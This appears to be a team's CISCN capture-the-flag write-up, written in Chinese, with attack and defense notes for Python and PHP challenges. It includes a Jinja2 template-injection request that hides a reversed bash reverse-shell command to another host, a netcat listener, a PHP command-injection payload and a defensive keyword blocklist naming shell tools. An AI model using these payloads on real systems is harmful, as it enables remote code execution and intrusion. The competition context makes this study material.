CISCN X2cT34m Writeup

Python

Python-1

进攻

```
POST / HTTP/1.1
Host: 192.51.1.58
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 145

name={%25set+ba%3d'1%26>0+3332/01.15.101.01/pct/ved/+%26>+i-+hsab'[%3a%3a-1]%25}
{%25set+x%3dg.pop.__globals__.__builtins__.__import__('os')['p''open']
(ba).read()%25}
```

`nc -lvvp 2333`

`cat /flag.txt`

防御

利用jinja自带的沙盒环境对字符串中的未注册变量进行检测即可防御成功

```
# -*- coding: UTF-8 -*-

from flask import Flask, request,render_template,render_template_string
from jinja2.sandbox import SandboxedEnvironment

env=SandboxedEnvironment()

app = Flask(__name__)

def blacklist(name):
    blacklists = ["print","cat","flag","nc","bash","sh","curl","
{{","}},""wget","ash","session","class","subclasses","for","popen","args"]
    for keyword in blacklists:
        if keyword in name:
            return True
    return False

@app.route("/", methods=["GET","POST"])
def index():
    if request.method == "POST":
        try:
            name = request.form['name']
            names = blacklist(name)
            if names == True:
                return "Oh,False!"

            html = '''<html><head><title>^_^</title></head><body><div><h1>Hello:
%s</h1></div></body></html>''' % env.from_string(name).render(car='moo')
            return render_template_string(html)
        except ValueError:
            pass
    else:
        html = '''<html><head><title>^_^</title></head><body><div><h1>Change.
</h1></div></body></html>'''
        return render_template_string(html)
```

Python-2

进攻

直接在下载下来的文件的数据库cms.db中即可找到flag
可能是非预期了(

PHP

php3

进攻

`/?path=glob://d88554c739859dfe*`
一个个字符爆破即可

payload:http://192.51.1.137/d88554c739859dfe.php?cmd=tac${IFS}/f*
flag{RGUUR2W8BASXDTN7}